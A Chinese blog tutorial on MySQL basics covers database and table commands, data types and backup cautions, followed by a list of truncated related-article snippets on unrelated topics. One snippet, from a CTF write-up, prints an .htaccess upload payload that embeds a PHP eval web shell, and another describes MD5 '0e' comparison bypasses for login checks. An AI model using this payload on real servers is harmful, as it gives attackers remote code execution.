MySQL 基础学习(1):数据类型与操作数据库和数据表
MySQL 基础学习:数据类型与操作数据库和数据表
在这篇博客中,我们将深入学习 MySQL 的基础操作,重点关注数据库和数据表的操作,以及 MySQL 中常见的数据类型。希望本文能帮助你更好地理解和掌握 MySQL 的基本用法。
一、操作数据库
在 MySQL 中,数据库是数据存储的逻辑集合,以下是常见的数据库操作:
1. 创建数据库
create database 数据库名 charset utf8;
通过以上命令,我们可以创建一个新的数据库,并指定其字符集为 UTF-8。字符集设置在国际化场景中尤为重要。
2. 查看所有数据库
show databases;
该命令会列出当前 MySQL 服务器中的所有数据库。
3. 选择数据库
use 数据库名;
选择一个数据库后,所有后续的表操作都会基于该数据库。
4. 删除数据库
drop database 数据库名;
注意:这是一个危险的操作,会永久删除数据库及其所有数据,在执行前必须确保有备份!
执行删除数据库的建议:
- 确认操作权限。
- 必要时进行多次确认。
- 生产环境中建议执行前找他人复核。
二、操作数据表
数据表是数据库中的核心单元,用于存储结构化数据。以下是常见的数据表操作:
1. 查看数据库中的所有表
show tables;
该命令可以列出当前数据库中的所有表。
2. 创建数据表
create table 表名 (列名 类型 [约束],...
);
例如:
create table users (id int primary key auto_increment,name varchar(50) not null,email varchar(100) unique
);
这段代码创建了一个名为 users
的表,其中包含:
id
: 整型主键,自动递增。name
: 长度为 50 的字符串,不能为空。email
: 长度为 100 的唯一字符串。
3. 查看数据表结构
desc 表名;
该命令可以查看表的详细信息(列名、类型、约束等)。
4. 删除数据表
drop table 表名;
注意:删除表时会丢失所有数据,需谨慎操作。
执行删除表的建议:
- 确保操作必要性。
- 执行前备份数据。
三、什么时候操作数据库,什么时候操作数据表
操作数据库和数据表的选择主要取决于具体需求:
操作数据库的场景
- 初始设置: 当你启动一个新项目时,需要为项目创建一个独立的数据库以隔离数据。
- 环境隔离: 不同的开发环境(如开发、测试、生产)需要单独的数据库。
- 数据归档或迁移: 如果需要将一整个项目的数据归档或迁移到另一台服务器,可以操作整个数据库。
- 多租户系统: 在多租户系统中,每个租户可能会有一个独立的数据库。
操作数据表的场景
- 功能扩展: 为现有项目添加新功能时,需要创建新的表来存储相关数据。
- 结构优化: 如果发现表结构不合理,需要调整表(如增加或删除列)。
- 数据清理: 如果某张表的数据已经过期或无用,可以选择删除该表以节约存储空间。
- 特定查询优化: 创建中间表或临时表以提升复杂查询的性能。
简而言之,操作数据库通常是全局性、项目级别的改动,而操作数据表更偏向于模块化、功能性的小范围调整。
四、MySQL 常见数据类型
在 MySQL 中,每个列都必须有一个数据类型,用于定义该列可以存储的数据格式。以下是常见的数据类型:
1. 数值类型
- TINYINT: 1字节,范围 -128 到 127。
- SMALLINT: 2字节,范围 -32,768 到 32,767。
- INT: 4字节,范围 -21亿 到 21亿,常用的整型。
- BIGINT: 8字节,适合存储更大范围的整数。
- DECIMAL(M,D): 精确小数,适用于金融场景。
2. 浮点类型
- FLOAT: 4字节,用于存储单精度浮点数。
- DOUBLE: 8字节,用于存储双精度浮点数。
3. 字符串类型
- CHAR(SIZE): 固定长度字符串。
- VARCHAR(SIZE): 可变长度字符串,最大长度 65535 字节,推荐使用。
- TEXT: 存储大段文本。
4. 时间类型
- DATETIME: 存储日期和时间,8字节。
- TIMESTAMP: 存储时间戳,4字节。
数据类型选择建议
- 整型: 根据数值范围选择
INT
或BIGINT
。 - 小数: 金融场景优先选择
DECIMAL
,而非FLOAT
或DOUBLE
。 - 字符串: 通常优先选择
VARCHAR
,仅在长度固定时选择CHAR
。
五、操作注意事项
- 备份优先:任何涉及删除或修改操作时,务必先备份数据。
- 权限管理:避免普通用户直接操作数据库的结构。
- 审慎执行:多次确认命令后再执行。
通过对数据库和数据表的操作,以及对常见数据类型的理解,你可以更高效地使用 MySQL 存储和管理数据。如果你有任何问题或想法,欢迎留言讨论!
相关文章:

MySQL 基础学习(1):数据类型与操作数据库和数据表
MySQL 基础学习:数据类型与操作数据库和数据表 在这篇博客中,我们将深入学习 MySQL 的基础操作,重点关注数据库和数据表的操作,以及 MySQL 中常见的数据类型。希望本文能帮助你更好地理解和掌握 MySQL 的基本用法。 一、操作数据…...

zyNo.19
哈希(md5)绕过问题 本质上是弱类型问题的延申 题型 登录的哈希验证 $a ! $b Md5($a) md5($b) 解决办法Md5绕过 var_dump ("0e123456" "0e4456789"); //true 0e545993274517709034328855841020//true 参考资料0e开头的哈希…...

Kafka生产者ACK参数与同步复制
目录 生产者的ACK参数 ack等于0 ack等于1(默认) ack等于-1或all Kafka的同步复制 使用误区 生产者的ACK参数 Kafka的ack机制可以保证生产者发送的消息被broker接收成功。 Kafka producer有三种ack机制 ,分别是 0,1…...

IPhone14 Pro 设备详情
目录 产品宣传图内部图——后设备详细信息 产品宣传图 内部图——后 设备详细信息 信息收集于HubWeb.cn...

【Linux】磁盘
没有被打开的文件 文件在磁盘中的存储 认识磁盘 磁盘的存储构成 磁盘的效率 与磁头运动频率有关。 磁盘的逻辑结构 把一面展开成线性。 通过扇区的下标编号可以推算出在磁盘的位置。 磁盘的寄存器 控制寄存器:负责告诉磁盘是读还是写。 数据寄存器:给…...

Shell编程(for循环+并发问题+while循环+流程控制语句+函数传参+函数变量+函数返回值+反向破解MD5)
本篇文章继续给大家介绍Shell编程,包括for循环、并发问题,while循环,流程控制语句,函数传参、函数变量、函数返回值,反向破解MD5等内容。 1.for循环 for 变量 in [取值列表] 取值列表可以是数字 字符串 变量 序列…...

强化学习数学原理(三)——值迭代
一、值迭代过程 上面是贝尔曼最优公式,之前我们说过,f(v)v,贝尔曼公式是满足contraction mapping theorem的,能够求解除它最优的策略和最优的state value,我们需要通过一个最优v*,这个v*来计算状态pi*&…...

Day27-【13003】短文,什么是栈?栈为何用在递归调用中?顺序栈和链式栈是什么?
文章目录 第三章栈和队列总览第一节栈概览栈的定义及其基本操作如何定义栈和栈的操作?合理的出栈序列个数如何计算?栈的两种存储方式及其实现?顺序栈及其实现,还有对应时间复杂度*、清空栈,初始化栈5、栈空,…...

[JMCTF 2021]UploadHub
题目 上传.htaccess就是修改配置文件 <FilesMatch .htaccess> SetHandler application/x-httpd-php Require all granted php_flag engine on </FilesMatch>php_value auto_prepend_file .htaccess #<?php eval($_POST[md]);?>SetHandler和ForceType …...

C++学习——认识和与C的区别
目录 前言 一、什么是C 二、C关键字 三、与C语言不同的地方 3.1头文件 四、命名空间 4.1命名空间的概念写法 4.2命名空间的访问 4.3命名空间的嵌套 4.4命名空间在实际中的几种写法 五、输入输出 5.1cout 5.2endl 5.3cin 总结 前言 开启新的篇章,这里…...

为AI聊天工具添加一个知识系统 之63 详细设计 之4:AI操作系统 之2 智能合约
本文要点 要点 AI操作系统处理的是 疑问(信念问题)、缺省(逻辑问题)和异常(不可控因素 ) 而 内核 的三大功能 (资源分配/进程管理/任务调度)以及外围的三类接口( CLI、GUI和表面模型的 运行时…...

基于SpringBoot的网上摄影工作室开发与实现 | 含论文、任务书、选题表
随着互联网技术的不断发展,摄影爱好者们越来越需要一个在线平台来展示和分享他们的作品。基于SpringBoot的网上摄影工作室应运而生,它不仅为用户提供了一个展示摄影作品的平台,还为管理员提供了便捷的管理工具。本文幽络源将详细介绍该系统的…...

Flutter子页面向父组件传递数据方法
在 Flutter 中,如果父组件需要调用子组件的方法,可以通过以下几种方式实现。以下是常见的几种方法: 方法 1:使用 GlobalKey 和 State 调用子组件方法 这是最直接的方式,通过 GlobalKey 获取子组件的 State,…...

回顾Maven
Maven Maven简介 Maven 是 Apache 软件基金会的一个开源项目,是一个优秀的项目构建工具,它 用来帮助开发者管理项目中的 jar,以及 jar 之间的依赖关系、完成项目的编译、 测试、打包和发布等工作。 管理jar包管理jar包之间的依赖关系(其中一个jar包可能同时依赖多个…...

除了layui.js还有什么比较好的纯JS组件WEB UI?在谷歌浏览上显示
以下是一些比较好的纯JS组件WEB UI,可以在谷歌浏览器上良好显示: 1. Sencha 特点:提供超过140个高性能UI组件,用于构建现代应用程序。支持与Angular和React集成,提供企业级网格解决方案。 适用场景:适用于…...

力扣111二叉树的最小深度(DFS)
Problem: 111. 二叉树的最小深度 文章目录 题目描述思路复杂度Code 题目描述 思路 1.欲望求出最短的路径,先可以记录一个变量minDepth,同时记录每次当前节点所在的层数currentDepth 2.在递的过程中,每次递一层,也即使当前又往下走…...

c++学习第十三天
创作过程中难免有不足,若您发现本文内容有误,恳请不吝赐教。 提示:以下是本篇文章正文内容,下面案例可供参考 一、vector 1.介绍 1. vector是表示可变大小数组的序列容器。 2. 就像数组一样,vector也采用的连续存储空…...

zookeeper-3.8.3-基于ACL的访问控制
ZooKeeper基于ACL的访问控制 ZooKeeper 用ACL控制对znode的访问,类似UNIX文件权限,但无znode所有者概念,ACL指定ID及对应权限,且仅作用于特定znode,不递归。 ZooKeeper支持可插拔认证方案,ID格式为scheme…...

Java定时任务实现方案(四)——Spring Task
Spring Task 这篇笔记,我们要来介绍实现Java定时任务的第四个方案,使用Spring Task,以及该方案的优点和缺点。 Spring Task是Spring框架提供的一个轻量级任务调度框架,用于简化任务调度的开放,通过注解或XML配置的…...

WGCLOUD运维工具从入门到精通 - 如何设置主题背景
需要升级到WGCLOUD的v3.5.7或者以上版本,才会支持自定义设置主题背景色 WGCLOUD下载:www.wgstart.com 我们登录后,在右上角点击如下的小图标,就可以设置主题背景色了,包括:经典白(默认&#x…...

Babylon.js 中的 setHardwareScalingLevel和getHardwareScalingLevel:作用与配合修改内容
在 Babylon.js 中,Engine类提供了setHardwareScalingLevel和getHardwareScalingLevel方法,用于管理和调整渲染分辨率与屏幕分辨率的比例。这些方法在优化性能和提升画质方面非常有用。尤其是在某些平台不支持硬件反锯齿时,可以考虑使用setHar…...

Qwen2-VL:在任何分辨率下增强视觉语言模型对世界的感知 (大型视觉模型 核心技术 分享)
摘要 我们推出了Qwen2-VL系列,这是对之前Qwen-VL模型的高级升级,重新定义了视觉处理中的常规预设分辨率方法。Qwen2-VL引入了Naive Dynamic Resolution机制,使模型能够动态地将不同分辨率的图像转换为不同的视觉令牌数量。这种方法允许模型生成更高效和准确的视觉表示,紧密…...

Docker——入门介绍
目录 1.初识 Docker1.1.什么是 Docker1.1.1.应用部署的环境问题1.1.2.Docker 解决依赖兼容问题1.1.3.Docker 解决操作系统环境差异1.1.4.小结 1.2.Docker 和虚拟机的区别1.3.Docker 架构1.3.1.镜像和容器1.3.2.DockerHub1.3.3.Docker 架构1.3.4.小结 1.4.安装 Docker1.4.1.概述…...

02数组+字符串+滑动窗口+前缀和与差分+双指针(D2_字符串(D2_刷题练习))
目录 1. 最长公共前缀 1.1. 题目描述 1.2. 解题方案 方案一:纵向对比 方案二:横向对比 方案三:最值对比 方案四:分治 方案五:二分 1.3. 知识归纳 2. 左旋转字符串(简单) 2.1. 题目描述…...

【redis进阶】集群 (Cluster)
目录 一、基本概念 二、数据分片算法 2.1 哈希求余 2.2 一致性哈希算法 3.3 哈希槽分区算法 (Redis 使用) 三、集群搭建 (基于 docker) 3.1 创建目录和配置 3.2 编写 docker-compose.yml 3.3 启动容器 3.4 构建集群 四、主节点宕机 4.1 处理流程 五、集群扩容 六、集群缩容 (选…...

Python案例--100到200的素数
一、问题描述 素数(Prime Number)是指在大于1的自然数中,除了1和它本身以外不再有其他因数的数。判断一个数是否为素数是计算机科学和数学中的一个经典问题。本实例的目标是找出101到200之间的所有素数,并统计它们的数量。 二、…...

C语言,无法正常释放char*的空间
问题描述 #include <stdio.h> #include <stdio.h>const int STRSIZR 10;int main() {char *str (char *)malloc(STRSIZR*sizeof(char));str "string";printf("%s\n", str);free(str); } 乍一看,这块代码没有什么问题。直接书写…...

重回C语言之老兵重装上阵(十五)C语言错误处理
C语言错误处理 在C语言中,错误处理是非常重要的一部分。C语言没有像高级语言(例如Python、Java)那样内建的异常处理机制(如try-catch),但它提供了几种方法来捕捉和处理错误。正确的错误处理可以提高程序的稳…...

基于微信的课堂助手小程序设计与实现(LW+源码+讲解)
专注于大学生项目实战开发,讲解,毕业答疑辅导,欢迎高校老师/同行前辈交流合作✌。 技术范围:SpringBoot、Vue、SSM、HLMT、小程序、Jsp、PHP、Nodejs、Python、爬虫、数据可视化、安卓app、大数据、物联网、机器学习等设计与开发。 主要内容:…...

Effective C++ 规则50:了解 new 和 delete 的合理替换时机
1、背景 在 C 中,new 和 delete 是动态分配内存的核心操作符。然而,直接使用它们有时会增加程序的复杂性,甚至导致内存泄漏和其他问题。因此,了解何时替换 new 和 delete 并选择更适合的内存管理策略,是编写高效、健壮…...